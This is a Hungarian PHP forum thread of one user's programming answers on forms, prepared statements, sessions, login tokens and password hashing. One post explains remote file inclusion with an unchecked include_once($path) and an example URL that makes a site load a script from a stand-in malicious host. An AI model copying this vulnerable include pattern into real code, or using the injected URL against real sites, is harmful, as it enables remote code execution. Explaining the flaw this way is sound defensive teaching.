- Samsung Galaxy A54 - türelemjáték
- Milyen okostelefont vegyek?
- Android alkalmazások - szoftver kibeszélő topik
- Fotók, videók mobillal
- Google Pixel topik
- Yettel topik
- Heteken belül ár/érték bajnokot avat a Poco
- Samsung Galaxy S24 Ultra - ha működik, ne változtass!
- Mobil flották
- Okosóra és okoskiegészítő topik
Új hozzászólás Aktív témák
-
disy68
aktív tag
Nyilván, mert nincs közük hozzá.Szinte biztos vagyok benne, hogy a form submitnél a js nem akadályozza meg a default működést, ami az, hogy küld a böngésző egy post/get/akármi requestet a form alapján.
Azt meg felejtsd el, hogy "bezárja a futó php-t". Amikor a böngészőben javascript garázdálkodik, akkor nem fut semmilyen php. A php szerver oldal, a javscript meg kliens oldal.
-
disy68
aktív tag
a form submit tölti újra az oldalt
1. van egy login formod, aminél a submit indít egy post http request-et a szerver felé, amire az válaszol => page reload
2. betölt egy újabb form, aminél a submit megintcsak indít egy post http request-et a szerver felé, amit az feldolgoz és megint válaszol => page reload
3. betölt a válasz -
disy68
aktív tag
A php html entity-ket kezelő függvényei csak a pontosvesszővel zárt karaktereket ismerik fel, mert az a szabvány.
A böngésző meg túl okos és megengedő akar lenni sok esetben és ezért fogja megjeleníteni a nem szabvány html encode-olt karaktereket is.
És igen a
A
és aA
; is az 'A' karakter csak más kódtábla szerint. -
disy68
aktív tag
-
disy68
aktív tag
Ahogy írtam is. Dropdown alapján kicserélném az iframe src attributumát.
-
disy68
aktív tag
"különösebben nem tolok ki magammal"
szóval minden egyes db műveletnél encode/decode? indexek, kereshetőség, performancia?
"a prepared statement/parameterized query minek a része? PDO? az 5-ös msq_query-ben volt ilyen? nem"
a prepared statement/parameterized query az adatbázis motor által támogatott mechanizmus, amit egyrészt kell támogatnia az adott nyelvhez/környezethez írt drivernek és az azt használó implementációnak
amennyiben elérhető, érdemes azt használni és nem kézzel mókolni (ez lett volna a mondandóm lényege)
-
disy68
aktív tag
"de még egyszerűbb ha az összes inputot még az sql utasításba kerülése előtt base64-gyel kódolod. akkor kb azt ír be amit akar"
nem egyszerűbb és értelme sincs, hacsak nem az a cél, hogy magaddal tolj ki
nem a PDO véd az sql injection ellen, hanem a prepared statement/parameterized query (amit persze a PDO is támogat), ami escape-eli a paramétereket és nem mellesleg a db motor ezeket előkészíti (execution plan), eltárolja és utána az adott paraméterekkel futtatja, ezáltal későbbi futáskor már csak előkapja és az új paraméterekkel futtatja (ezáltal gyorsítva a query futását)
-
disy68
aktív tag
"Ha igen, miért?"
mert ugyanaz a kettő csak más drivert használnak más DB-hez és más a syntaxsqlsrv_query ugyanaz, mint a prepare + bind + execute csak egy lépésben és az SQLSRV Driver-t használja
magyarul, ha MSSQL a DB, akkor használd az sqlsrv_query függvényt
-
disy68
aktív tag
az iCalendar tartalmazhat participation infót amennyiben a kiállítója ezt belegenerálja
-
disy68
aktív tag
miért akarsz egy random böngészőt az IDE-be egy rendes böngésző helyett, amire a fejlesztett termék készül?
"Szeretném, ha össze lehetne kapcsolni a Webtárhelyemmel (ha ez lényeges, akkor a MediaCenter-nél vagyok) és az ottani fájlokat látja, nyitja meg és módosítja."
se verziókezelés, se tesztelés, se semmi?
-
disy68
aktív tag
A programkód meg a megjelenített adat az más dolog. A programkódnak van egy fix szintaxisa. Php alatt a single és double quoute nem ugyanazt jelenti (ahogy sok más programnyelvnél sem).
A single quote között lévő szöveget a php értelmező 'as is' kezeli, míg a double quote közötti szöveget interpolálja, azaz, ha tartalmaz változót escape-elt karaktert, akkor azt előbb feloldja és annak az eredménye lesz a tényleges szöveg.
pl.$something = 'kiskutya';
$text = 'this is {$something}';
echo $text --> this is {$something}
vs.
$something = 'kiskutya';
$text = "this is {$something}";
echo $text --> this is kiskutya
Szövegben pedig bármi lehet, amit az adott karakterkódolás megenged. Itt van néhány unicode idézőjel lehetőség.
-
disy68
aktív tag
válasz
RedHarlow #20386 üzenetére
Szerintem téged a prepared statement-ek érdekelnek. Manapság az összes ismert adatbáziskezelő támogatja.
Előnyei lehetnek, hogy az adatbázis kiértékeli előre a lekérdezést, amihez paramétereket kötve lehet futtatni. A kiértékelt lekérdezést tudják cache-elni a driverek per kapcsolat és a további lekérdezéseket nem kell újra kiértékelni csak paraméterezni és futtatni, ami növeli a sebességet. További előnye, hogy véd a tipikus sql injection támadások ellen is.
A további részleteket az adott adatbáziskezelő dokumentációiban illetve az használt nyelvhez elérhető driver dokumentációjában lehet megtalálni.
-
disy68
aktív tag
Én értem, hogy nem találkoztál ilyennel még, de légyszives legalább nézz utána előbb kicsit. Van olyan, hogy gmail-re küldött levelet visszadob a szerverük (reject), ami nem kerül a spam folder-be sem. Egyéb feketelisták.
-
disy68
aktív tag
válasz
instantwater #20207 üzenetére
Nem, ez saját tapasztalatat a Sendgrid-del. Náluk a shared ip csomagnál (Essentials), ha valaki spamel, az megölheti szinte az egész ip pool-t (tizenvalahány ip-ből spamlistára került kb. 8), nem csak a domaint.
És hiába fogják őket letiltani, ha közben napokig áll a szolgáltatás, mert egyes spamlistákról nem kerül le az ip időben. Itt az is benne van a pakliban, hogy valaki nem tényleges spam-et küld csak annak értékelt levelet akár tartalom, akár címzettek alapján, esetleg véletlenül valami bug következtében. Mi ezért váltottunk náluk dedikált ip-s csomagra nemrég, mert így jártunk. El tudom képzelni, hogy máshol is előfordulhat hasonló.
#20208 coco2
Nem tudom milyen "website"-ok ezek, de bárhol ilyet olvasol az komolytalan vagy szimplán igénytelen. Az meg senkit sem érdekel, hogy valaki milyen személyes szűrést használ vagy sem, ami számít, hogy pl. a google vagy bármilyen nagyobb szolgáltató ne tiltsa az összes küldendő leveledet kapásból, mert az bizony tud fájni az üzletnek. -
disy68
aktív tag
válasz
instantwater #20204 üzenetére
zárójelben annyit azért hozzátennék, hogy ezeknél a bulk email szolgáltatóknál is vannak 'shared ip' csomagok, ahol osztozik az ember több felhasználóval és ha ők spam-elnek, akkor pórul lehet járni és fel lehet kerülni önhibánkon kívül is spamlistára, erre érdemes lehet még figyelni
-
disy68
aktív tag
válasz
Agostino #20133 üzenetére
Sokszor vannak leárazások 11 euróra mindenféle indokból (hétvégi, nyári, téli, éppenmost, etc). Az értékeléseket fontos nézni. Korábban linkelt valaki a programozás topic-ban egy általa írt crawlert, ami az aktuálisan ingyenes kurzusokat szedte össze. Én is bezsákoltam párat, ami érdekelt volna, a legtöbbet nem is lehetett értékelni, nem véletlenül, kritikán aluli volt az összes. Szóval a minél többen minél jobbra értékelt kurzusokkal nem fogsz nagyon mellélőni.
-
disy68
aktív tag
válasz
jattila48 #20014 üzenetére
"Márpedig az int main(int, char **) fv. éppen olyan közönséges fv., mint bármelyik"
Ez nem igaz, a main függvény végén lesz egy system exit call, vagy a return által visszaadott értékkel vagy default 0, amennyiben nem volt explicit exit hívás vagy bármi egyéb runtime error.A fentiek alapján látszik, hogy az exit code az nem adat átadásra szolgál, hanem a process befejézés állapotának a közlésére. Processek közötti kommunikáció vagy adatcsere az nem ilyen egyszerű. Erről itt találsz egy összefoglalót. A táblázatban az anonymous pipe, amit én is írtam a standard out, ami a te esetedben a bevált és használt megoldás. Bármi más az vagy lassabb lesz (pl. file-ok) vagy sokkal komplexebb (pl. socket vagy message queue-k). Persze ragaszkodhatsz az exit code megerőszakolásához is, ez a te dolgod.
A standard out-ra kerülő adat a visszatérési érték a php shell_exec és exec függvényénél is (a megkötések benne vannak a dokumentációban).
A windows vonatkozást én néztem be, sorry, figyelmetlenül olvastam a dokumentációt.
-
disy68
aktív tag
válasz
jattila48 #20003 üzenetére
Az exit code és fogalma az nem értelmezés kérdése. Linux alatt az exit code 0-255 között míg Windows alatt 0-499 között értelmezett (foglalt és szabad exit kódok).
Általában a programok a standard out/standard error csatornákat fogják írni, ez lesz a kimenete a programnak, a tényleges adat (persze lehet ezen kívül ezer meg egy módon kimenetet generálni, pl. fájlba írni, de ez most nem érdekes).
"A programom viszont egyszerűen return-nel adja vissza az értéket, nem hív exit-et."
A main-ből hívott return az kvázi az exit-nek fog megfelelni. A main-ből nem térünk vissza return-nel, hanem a standard out-ra kiírjuk az adatot, amivel csinálhat a hívó, amit szeretne. Ez okozza nálad is a problémát. Írd ki a program végén az eredményt és azt használd php-ből. -
disy68
aktív tag
válasz
radi8tor #19711 üzenetére
function areWeInIgnoredUrl() {
if (basename(DIR_APPLICATION) != 'catalog') return true;
$url = getFullURL();
$ignoredUrls = getIgnoredUrls();
foreach ($ignoredUrls as $ignoredUrl) {
$ignoredUrl = preg_replace("/^(https?:)?\/\//", "*", $ignoredUrl);
if ($ignoredUrl[0] != '!') {
if (preg_match('~' . str_replace(array('~', '#asterisk#'), array('\~', '.*'), preg_quote(str_replace('*', '#asterisk#', $ignoredUrl))) . '~', $url)) {
return false; // true;
}
} else {
if (!preg_match('~' . str_replace(array('~', '#asterisk#'), array('\~', '.*'), preg_quote(str_replace('*', '#asterisk#', substr($ignoredUrl, 1)))) . '~', $url)) {
return false; //true ;
}
}
}
return false;// true;
}szerintem a fentire gondolt
de lehet ott is negálni, ahol használodif (!areWeInIgnoredUrl()) {
//logic
}vagy beburkolod és negálod
function areWeInEnabledUrl() {
return !areWeInIgnoredUrl();
} -
disy68
aktív tag
A dinamikus osztály példányosítás mellé a metódus hívást tenném még hozzá, mint hasznos feature, ezeket alkalmaztam már én is. Ezek mellé hasznos lehet még a class_exists() és a method_exists().
class Something {
public function someMethod() {
echo "something";
}
}
// máshol
$className = "Something";
$methodName = "someMethod";
if (class_exists($className)) {
$something = new $className();
if (method_exists($something, $methodName)) {
$something->$methodName(); // echo "something";
} else {
// do something when method does not exist
}
} else {
// do something when class does not exist
} -
disy68
aktív tag
válasz
tacsko833 #19139 üzenetére
A $valami egy változó, ami futás során kerük kiértékelésre.
A $$valtozo szintén egy változó, aminek a neve a $valtozo értéke. A php feldolgozó addig oldja fel változóként a $ utáni szoveget, amíg el nem jut az első $ jelig, az így kapott eredmény egy változó lesz (függően a helyétől a kifejezésben deklaráció, ha eddig nem létezett, hivatkozás vagy érték).Egy szemléltető példa a lentebb linkelt php manual hozzászólásaiból:
<?php
//You can even add more Dollar Signs
$Bar = "a";
$Foo = "Bar";
$World = "Foo";
$Hello = "World";
$a = "Hello";
$a; //Returns Hello
$$a; //Returns World
$$$a; //Returns Foo
$$$$a; //Returns Bar
$$$$$a; //Returns a
$$$$$$a; //Returns Hello
$$$$$$$a; //Returns World
//... and so on ...//Miért? Mert a php megengedi
bővebben
És persze erről jó tudni, de szerintem ilyesmi mágiákat nem igazán kifizetődő használni, mert nem túl átlátható.
-
disy68
aktív tag
válasz
tacsko833 #19137 üzenetére
Dinamikus változók, az én ízlésemnek kicsit túl dinamikus
Szóval:
1. A $tarolo változó értéke lesz: "felhasznalo"$tarolo = "felhasznalo";
2. A $felhasznalo változó értéke lesz: "Anna" ($$tarolo ->$felhasznalo => "Anna")$$tarolo = "Anna";
És a fenti deklarációk esetében az alábbiak ekvilalensek:
$$tarolo === ${$tarolo} === ${'felhasznalo'} === $felhasznalo
És lehet ezt még tetőzni $$$tarolo, stb..
-
disy68
aktív tag
válasz
trisztan94 #19130 üzenetére
Használj inkább usort-ot:
function cmp($a, $b) {
return $a["total_rows"] - $b["total_rows"];
}
usort($arr, "cmp"); -
disy68
aktív tag
válasz
adika4444 #19049 üzenetére
A jelszón kívül nincs szükség mást titkosítottan tárolni, ami inkább fontos, hogy a kliens-szerver-adatbázis-etc kommunikáció titkosított csatornán menjen (ssl/tls). Valamint megnézheted az owasp top 10 listát a tipikus sebezhetőségekről.
-
disy68
aktív tag
Ha már szóba került, hogy a PHP miért is "szar". Nem mai írás, egy része már nem is valid, de szerintem érdemes elolvasni: PHP: a fractal of bad design
-
disy68
aktív tag
válasz
bucihost #18925 üzenetére
(#18927) fordfairlane válaszát annyival egészíteném ki, hogy használhatod a filemtime() parancsot is erre. Az első hozzászólásban pont erre van minta
-
disy68
aktív tag
válasz
alpihun #18757 üzenetére
Igen, pontosan. De amúgy php-vel is megoldhatod a dolgot, csinálsz egy infinite loop-ot, amiben nézel egy időt (pl. az óra növekedett-e az előzőhöz képest, ha óránként szeretnéd, hogy csináljon valamit) és ha igen megcsinálod, amit szeretnél és nincs szükség időzítőkre. Ezt amúgy csak parancssorból tudod majd futtatni.
-
disy68
aktív tag
válasz
alpihun #18745 üzenetére
Windows alatt az ütemezett feladatok-kal meg tudod csinálni ugyanazt (és még többet is, de jelenleg ez mindegy), mint cronnal.
-
disy68
aktív tag
válasz
MacCaine #18710 üzenetére
RFI. Én olyannal találkoztam, hogy a routing volt megoldva ellenőrizetlen bemenetekkel szép url megoldásnál.
Pl: oldal.hu/aloldal
htaccess-el volt egy átirányítás
RewriteRule ^(.*)$ /index.php?path=$1 [NC,L,QSA]
ahol az aloldal került a $path változóba, majd ez lett include-olva.
include_once($path);
Szóval meghívva a oldal.hu/http://gonoszoldal.hu/meggonoszabb_script.php
Az kerül meghívásra, hogyinclude_once('http://gonoszoldal.hu/meggonoszabb_script.php
'); -
disy68
aktív tag
válasz
MacCaine #18705 üzenetére
Na így más a helyzet kicsit. Mi az elvárás? Csak a php-s alkalmazás problémáit megtalálni vagy az egész rendszerét? Ha az előbbi, akkor a korábbi link, illetve ez segíthet.
Ha az utóbbi, akkor bonyolódik a helyzet. Ha a webszerver apache, akkor a linkelt oldalon elindulhatsz. Ezen kívül persze lehet az oprendszer is gyenge pont és máris jóval terjedelmesebb a lehetséges sebezhetőségek száma. Nem is beszélve az esetleges egymásra épülő hibák kihasználásáról. -
disy68
aktív tag
-
disy68
aktív tag
válasz
DiabloCorsa #18682 üzenetére
Helló, nem tudom aktuális-e még, csináltam egy demo-t php-vel. Lehet nem pont erre gondoltál pontosan, de indulásnak jó lesz.
Ami kérdéses volt az a képek, mert van az a tag href-je pl: b017ba99a8c12b75708e83bcdcba4bb0.jpg míg a kép src-je pl: b017ba99a8c12b75708e83bcdcba4bb0_350x350.jpg. Ha mindkét fájlnév külön képre mutat, akkor az attribútum átírásán és a kép átnevezésén kell még változtatni kicsit.
A html feldolgozáshoz használtam a PHP Simple HTML DOM Parser-t.
Parancssori futtatás javallott amúgy hozzá sok fájl esetén (esetleges timeout miatt).
-
disy68
aktív tag
válasz
bally4 #18604 üzenetére
Helló, szerintem első körben találd ki mi is lenne a cél, milyen felhasználási módok lehetnek (bejelentkezés/kijelentkezés, táblázat kiválasztása, táblázatba írás/módosítás/törlés).
Ez után nézz utána html+css-nek, rakj össze egy-két egyszerű felületet, amit használnál.
Ha ezek megvannak, akkor a következő kérdés az, hogyan és hol tárolnád az adatokat (én erre adatbázist ajánlanék). Ha mindez megvan, kezdj el foglalkozni az egyes részekkel (form kezelés php-ben, login, adatbázis műveletek). -
disy68
aktív tag
Alapvetően én is. A felhasználóhoz tartozó minden adat menne adatbázisba és tokenekkel oldanám meg, ha saját megoldás kéne. Tokent tárolnám sessionben vagy/és sütiben, ha hosszabb lejáratú belépés is kéne és adatbázisból csak a felhasználóhoz tartozó tokent kéne törölni a kijelentkezéshez.
@(#18571) DS39
Itt tudsz nézelődni, milyen lehetőségek vannak session-nel kapcsolatban.
session_start() után lekéred a session_id()-vel a session azonosítót és mented adatbázisba. Az alapértelmezett session kezelő-vel két lehetőséged van azonosító alapján törölni egy session-t:
1, session_save_path() megadja hol vannak tárolva a session fájlok, amik alapból sess_[session_id] szerű néven tárolódnak, ha van hozzá jogosultság, ezeket tudod szimplán törölni. Ez a megoldás nem igazán az ajánlott kategória.
2, A másik lehetőség, hogy eltárolod a saját session azonosítódat, indítasz egy sessiont a törölni kívánt azonosítóval, törlöd a sessiont, majd újból indítasz egy sessiont a saját azonosítóddal. Link. -
disy68
aktív tag
válasz
adatfalo #18461 üzenetére
Pedig az első link szól igazán a te problémádról. A get_the_excerpt() alapból egy lecsupaszított szöveget ad vissza, neked viszont kellenének a html tag-ek is. Erre ad megoldást a post, hogy kiszeded a wp_trim_excerpt filtert, stb.
A második linken lévő plugin meg megoldja neked az egészet, ahogy nézem. Lehet jobb is ebbe az irányba indulni, mint a core forrást patkolni, ami elveszhet egy frissítés során. Annyira azért nem vagyok otthon WP fronton, ha ez az utóbbi nem igaz, majd kijavít valaki.
-
disy68
aktív tag
válasz
adatfalo #18457 üzenetére
Nos, mit is csinál a kód?
Első körben állít magának egy limitet, ez még nem bonyolult.
Ez után lekér valahonnan, valahogy (get_the_excerpt() metódus) tartalmat, amit feldarabol szóközönként a limitnek megfelelően egy listába:$excerpt = explode(' ', get_the_excerpt(), $limit);
Ez azt jelenti, hogy lesz a limit szerinti n-1 db szövegdarab, plusz egy, ami tartalmazza a maradék szöveget.
Nézünk egy lista méretet, ha limitnél vagy fölötte vagyunk, az utolsó elemet a maradék szöveggel eldobjuk (array_pop($excerpt)), majd összefűzzük és a végére biggyesztünk még 3 pöttyöt, ha kevesebb a méret szimplán összefűzzük. A végén a regex-et így első ránézésre passzolnám, de arra tippelek, hogy a lekért tartalomban van valami tagolás, amit kiszed vele.Tehát ennyi kód alapján én azt mondom, hogy nézd meg mit ad vissza pontosan a get_the_excerpt() metódus és onnan lehet tovább indulni, mert attól függ, hogyan kell módosítani az explode-implode logikát.
-
disy68
aktív tag
válasz
Mr Dini #18435 üzenetére
Amennyire tudom ez így nem megoldható. A szerver a http hívás fogadása előtt tcp protokoll használatával végez egy handshake-et a klienssel, amibe nem fogsz tudni belenyúlni, így nem tudnád a kliens IP-jét átadni a szerver IP-je helyett.
A megoldás az lenne, hogy kliens oldalra költözne az url feloldó, de az meg a böngészős biztonsági korlátok miatt nem menne Javascript-tel, max böngészőkiegészítő formájában.
Amúgy a CloudZilla mellett van még sok oldal, ha ez az IP korlát ilyen egyedi, akkor hagyd csak ki ;-)
-
disy68
aktív tag
válasz
sirtomi #18145 üzenetére
Egyik ami lehet, hogy a php fájlod kódolása utf8, de nem bom nélkül, ami azt eredményezné, hogy a fájl elejére bekerül a byte order mark (0xEF,0xBB,0xBF), ami által nem lesz értelmezhető a kép.
Ha ez nem hozna eredményt, szedd ki a headert és nézd meg van-e hibaüzenet (rakd bele a ini_set("display_errors", "1"); error_reporting(E_ALL); sorokat).
-
disy68
aktív tag
Amennyiben csináltál egy html fájlt és duplakikkel megnyitottad, akkor ott a firefox nem fogja betölteni a js/css-t, mivel azok így vannak megadva (//ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js), ami annyit tesz, hogy veszi az aktuális protokollt (http/https) és azzal töltené be (https://ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js). Ebben az esetben ez viszont ez lesz (file://ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js), amit természetesen nem fog találni.
Ha átírod a hivatkozásokat (http://...) kezdetűre, vagy webszerver alól nézed, akkor működni fog.
-
disy68
aktív tag
válasz
Des1gnR #17361 üzenetére
Ha a link generálás alatt azt érted, hogy http://oldal.hu/akarmi?honnan=Bp&hova=Kukutyin jellegűt, akkor nem fog menni, mert nem GET-tel várja az oldal az adatokat, hanem POST-tal (ez látszik a pastebin-es kódból).
Ott lehet látni mit is kapott a teszt során (14. sor):
utirany=oda&ind_stype=megallo&honnan=Budapest%2C+N%E9pliget+aut%F3busz-p%E1lyaudvar&honnan_settlement_id=2958&honnan_ls_id=16646&honnan_zoom=9&honnan_eovx=653877.875&honnan_eovy=236801.78125&honnan_site_code=0&erk_stype=megallo&hova=Szeged%2C+aut%F3busz-%E1llom%E1s&hova_settlement_id=3336&hova_ls_id=14611&hova_zoom=9&hova_eovx=734307.9&hova_eovy=101980.695&EycTaSNj=AJcJtFAqw&hova_site_code=0&keresztul_stype=megallo&keresztul=&keresztul_settlement_id=&keresztul_ls_id=&keresztul_zoom=&keresztul_eovx=&keresztul_eovy=&keresztul_site_code=&datum=2015-04-23&naptipus=0&napszak=0&hour=13&min=14&target=0&rendezes=0&maxwalk=700&var=0&maxvar=240&maxatszallas=5&filtering=0&preferencia=1&helyi=No&talalatok=1&odavissza=0&ext_settings=none&submitted=1Tehát neked egy POSt kérést kéne indítanod, aminek a válaszát már föl tudod dolgozni.
-
disy68
aktív tag
válasz
#68216320 #17208 üzenetére
Ez már erősen a javascript topicba való, ha további kérdés lesz, azt inkább oda:
Az első a DOM manipuláció. Ajánlani tudom ennek kezelésére (és sok egyéb feladathoz is) a jQuery használatát. Nagyon jól lehet vele a DOM elemeket kezelni a CSS-ből is ismerős selectorok segítségével. Így el tudod érni az általad kívánt elemeket (form-ot pl. id vagy class alapján) és azt csinálsz vele, amit szeretnél.
A második a DOM események felhasználása. Az eseményekhez különböző (akár több) eseménykezelőt köthetünk, amiben az esemény hatására csinálunk dolgokat (pl. egy select változás eseményére megváltoztatjuk a formunkat).
És egy kis szemléltető form változtatásra jQuery segítségével.
-
disy68
aktív tag
válasz
#68216320 #16887 üzenetére
Ez a kiszolgáló beállításától függ, milyen hash függvényt használ hány bit/karakter:
128-bit digest (MD5)
4 bits/char: 32 char SID
5 bits/char: 26 char SID
6 bits/char: 22 char SID160-bit digest (SHA-1)
4 bits/char: 40 char SID
5 bits/char: 32 char SID
6 bits/char: 27 char SIDA vonatkozó beállítások: session.hash_function és session.hash_bits_per_character
-
disy68
aktív tag
válasz
Adamis #16858 üzenetére
Php-vel más oldalról html részeket kiszedni nekem a PHP Simple DOM Parser vált be. Nézd át a manualt, hogy miket/miként tud.
Az oldalon belül megnézed hogyan tudsz hivatkozni az elemre, ami neked kell és kiszeded a fenti osztály segítségével (az újabb böngészőkben van "fejlesztői felület"; F12-vel hozható elő, itt könnyen el lehet igazodni a html kódban, selectorok között).
Arra figyelj, hogy az eredeti megjelenítés (css) nem feltétlen lesz alkalmazva ezekre az elemekre, viszont a css-eket is ki tudod szedni.
Érdemes lehet a kiszedett html kódot (vagy amit generálsz belőle) külön menteni (cache), hogy ne kérje le újra minden lapbetöltésnél a távoli oldalt (lassítja a betöltést, pláne, ha nem elérhető az adott oldal éppen).
-
disy68
aktív tag
válasz
Brett001 #16836 üzenetére
Üdv, van pár hasznos dátum/idő kezelő függvény php-ben.
A kódrészletben unix timestamp-pel munkálkodunk. A date() segítségével ezt átalakíthatod a saját formátumodra:
$stop = date('YmdHis', $list[0]);
$start=date('YmdHis', $list[0]-(86400*2));Az strtotime() is egy hasznos függvény, ez szöveges dátum/időt alakít át timestamp-pé. Az alábbi rész nem tudom kell-e neked egyáltalán, mert ebből az látszik, hogy az adatbázisban lévő timestamp-ek utc szerint vannak tárolva, így az időeltolódás szerint ad hozzá még egy vagy két órát:
if (date("I",time())==0) { //ezzel az aktuális dátumot vizsgálja, hogy nyári/téli időszámítás van
$time[$i]=(strtotime($list['datetime'])+3600)*1000;
}
else {
$time[$i]=(strtotime($list['datetime'])+7200)*1000;
}Ha nálad a jó időértékek kerülnek tárolásra, akkor elég ennyi ide:
$time[$i] = strtotime($list['datetime']);
Ha az strtotime() nem eszi meg a formátumot (elvileg a fentivel nem lesz gond), akkor használhatod még a strptime() függvényt is.
-
disy68
aktív tag
válasz
honda 1993 #16786 üzenetére
Alapvetően valami ilyesmi a felépítés minden linux esetében. Egy kis összefoglaló róla.
Nyitsz egy fájlkezelőt ott van valami olyasmi, hogy computer / file system (számítógép / rendszer) ami a "/" gyökér könyvtárba visz. Ha úgy jobban tetszik, parancssorból is indíthatod a fájlkezelőt pl. ubuntu esetében nautilus / -> ezzel is a gyökér könyvtárba kerülsz.
-
disy68
aktív tag
válasz
honda 1993 #16784 üzenetére
Debian vonalon általában a /var/www az alapértelmezett root könyvtár a webszervernek. A webszerver konfig fájljai a /etc/apache2, míg a php-hez tartozók a /etc/php5 alatt vannak.
szerk:
mysql-hez pedig fejlesztői környezet esetén nyugodtan felrakhatsz egy phpmyadmint pl ez alapján -
disy68
aktív tag
válasz
don_peter #16762 üzenetére
Csináltam még egyet, ami jobban illeszkedik a problémádhoz. Az egyes blokkok (karakterek) sorértékeit adja ki hexa értékként (blokkonként 8 érték). Ha ebbe az irányba mész tovább akkor az adatküldéshez nézz utána az ajaxnak. A példa erősen a jquery-re épül amúgy.
szerk:
Még annyit, hogy szerintem is gondold át a dolgot, lehet jobban jársz, ha az első példa szerint a "teli" pixelek koordinátáit küldöd a teljes "kijelzőről" és azt dolgozod fel c-ben - a blokkokat pedig csak formázással különíted el. -
disy68
aktív tag
válasz
peterfihugo #16747 üzenetére
Az a projekt ruby on rails-t használ.
-
disy68
aktív tag
Jelszó tároláshoz érdemes egy biztonságosnak tekintett hash algoritmust használni sóval (ami biztos, hogy az md5 és sha1 elavultnak tekinthető). Nem szabad abban bízni, hogy az általunk használt eljárás nem ismert (security through obscurity).
Természetesen plusz funkcióként használhatunk captcha-t (többszöri próbálkozás ellen), de ez nem mentesít a megfelelő tárolástól.
Ennek azért elég nagy az irodalma érdemes rendesen utánajárni, ha valóban fontos a biztonság (algoritmusok, só, iterációk, ellenőrzés).
Egy jó cikk a témában. Van példakód is pár nyelven.
-
disy68
aktív tag
válasz
DNReNTi #16504 üzenetére
Amit én használok biztonságos megoldásként az kicsit bővíti az általad írt 3. megoldást (sajnos az eredeti cikket nem találom):
- Van egy "sorozat" token
- Van egy egyszeri tokenMindkét token egy hash érték, amiket úgy generálunk, hogy egyedi értékek legyenek - ne forduljon elő, hogy két felhasználónak azonos értéket adunk. A tokeneket a felhasználó egyedi azonosítójával együtt egy külön tábla tartalmazza - itt tárolhatunk egyéb információkat is a bejelentkezésekhez, pl. ip, user agent, stb.
Amikor a felhasználó bejelentkezik, akkor kap egy-egy tokent. A "sorozat" token nem fog változni a bejelentkezés alatt, viszont az egyszeri token minden lekéréskor változik - ezt természetesen figyelembe kell venni a tervezés során, hiszen minden oldallekérés adatbázisművelettel is párosul, kis felhasználószám esetén nincs jelentősége.
Egy felhasználóhoz több sorozat + egyszeri token rendelhető (egy "sorozat" token egy egyszeri tokennel áll párban), így lehet a felhasználó több kliensen egyszerre bejelentkezve. Bejelentkezéskor a felhasználóhoz tartozó tokenek törlésével/nem törlésével oldhatjuk meg a "nem lépek ki más böngészőből" itt a ph-n is használatos funkciót.
Amennyiben valaki megszerzi a két értéket, akkor addig tud ügyködni a nevünkben, amíg mi nem frissítjük az oldalt -> amikor ellenőrizzük a 2 tokent, akkor a sorozat ugyanaz, de az egyszeri nem, ezért kiléptetjük a felhasználót.
A két tokent és a felhasználó egyedi azonosítóját tárolhatjuk session és/vagy cookie értékként (akár az egészet egy stringként), elsődlegesen a session változót figyelembe véve. Amennyiben nincs session csak cookie, akkor kezelhetjük úgy a felhasználót, hogy nem biztonságosan van bejelentkezve és egyes funkciókat (pl. jelszóváltoztatás) csak a jelszó újbóli megadása után teszünk elérhetővé. Ha a felhasználó bejelöli a "bejelentkezve maradok" pipát, akkor tároljuk az értékeket cookie-val és session-nel, ha nem akkor csak session-nel.
Remélem sikerült érthetően megfogalmaznom a lényeget.
-
disy68
aktív tag
válasz
Sk8erPeter #16470 üzenetére
Persze ha már hordozható kódról van szó meg útvonalakról, akkor érdemes megemlíteni a php előredefiniált DIRECTORY_SEPARATOR konstansát, ami az adott rendszeren az érvényes elválasztó - még ha a "/" nem is okoz gondot mindenhol.
-
disy68
aktív tag
válasz
PumpkinSeed #16468 üzenetére
Ebben:
$target= "var/www/img_share/uploaded_img/";nem inkább /var az útvonal eleje? A perjel nélkül a script helyétől keresné a var mappát és a többit.
-
disy68
aktív tag
válasz
PumpkinSeed #16447 üzenetére
Az MVC pattern, ahogy a neve is indikálja külön kezeli az adatot (model), megjelenítést (view), és a kettőt összefogó irányítást (control) - csak így egyszerűen megfogalmazva. Ez által adott, hogy ezeket a részeket külön kezelve, jellemzően külön fájlokként fogod megoldani - sok esetben ez több ezer külön fájlt is jelenthet. Persze itt számít az mvc keretrendszer működése, felépítése stb. (lehet, hogy a keretrendszer alapja áll csupán pár ezer kisebb fájlból és a számodra ténylegesen készítendő fájlok száma ehhez képest elenyésző).
A php / html keverése sokszor alapvetően adja magát, azonban egy template-kezelő működhet úgy is, hogy magában a template fájlban se html, se php kód nem fog szerepelni - persze ezt is php dolgozza fel, ami behelyettesíti a htmlt a template alapján.
MVC esetében, fontos, hogy a szerepek elkülönüljenek. Ez jelenti azt, hogy a controllereid és modelleid jellemzően nem fognak html kódot tartalmazni, csak php-t, míg a view több, mint valószínű, hogy fog mindkettőt. A lényeg, hogy az adott megvalósítás struktúrája fogja meghatározni, hogy a fájlok mit fognak tartalmazni.
--
Amennyiben kevered a html és php kódokat érdemes figyelni az olvashatóságra (a kód karbantartása miatt).pl. e helyett:
<?php
$menupontok = array('egy','kettő','három','négy');
echo '<ul>';
foreach($menupontok as $menupont){
echo "<li>$menupont</li>";
}
echo '</ul>';
?>könnyebben átlátható ez (alternative syntax használattal):
<?php $menupontok = array('egy','kettő','három','négy'); ?>
<ul>
<?php foreach($menupontok as $menupont): ?>
<li>
<?php echo $menupont ?>
</li>
<?php endforeach; ?>
<ul>
?>--
Egy függvény visszatérési értéke pedig egy darab "érték". Ez az "érték" tartalmát tekintve lehet nagyjából bármi. Ha neked egy darab szöveges érték kell, akkor egy string, ha kettő vagy több, akkor lehet array, ami tartalmazza a két vagy több stringet. Ha valami bonyolultabb struktúra kell, akkor lehet tömbök, tömbje, vagy akár egy objektum is, ami tövábbi logikát is tartalmazhat (metódusok).De először a nyelvi alapokat kell mindenképpen megismerni, és utána érdemes nézelődni a különböző programozási paradigmák, programtervezési eljárások és egyéb best-practice megoldások felé.
-
disy68
aktív tag
válasz
kemkriszt98 #16195 üzenetére
Az lehet inkább a probléma, hogy a php cli (command line interface) nincs jól bekonfigolva a szolgáltatónál, így nem biztos, hogy betöltődnek a megfelelő kiegészítők (nálad a mysql).
Próbáld ki ilyesmi formában futtatni: php -c /path/to/php.ini /path/to/script.php
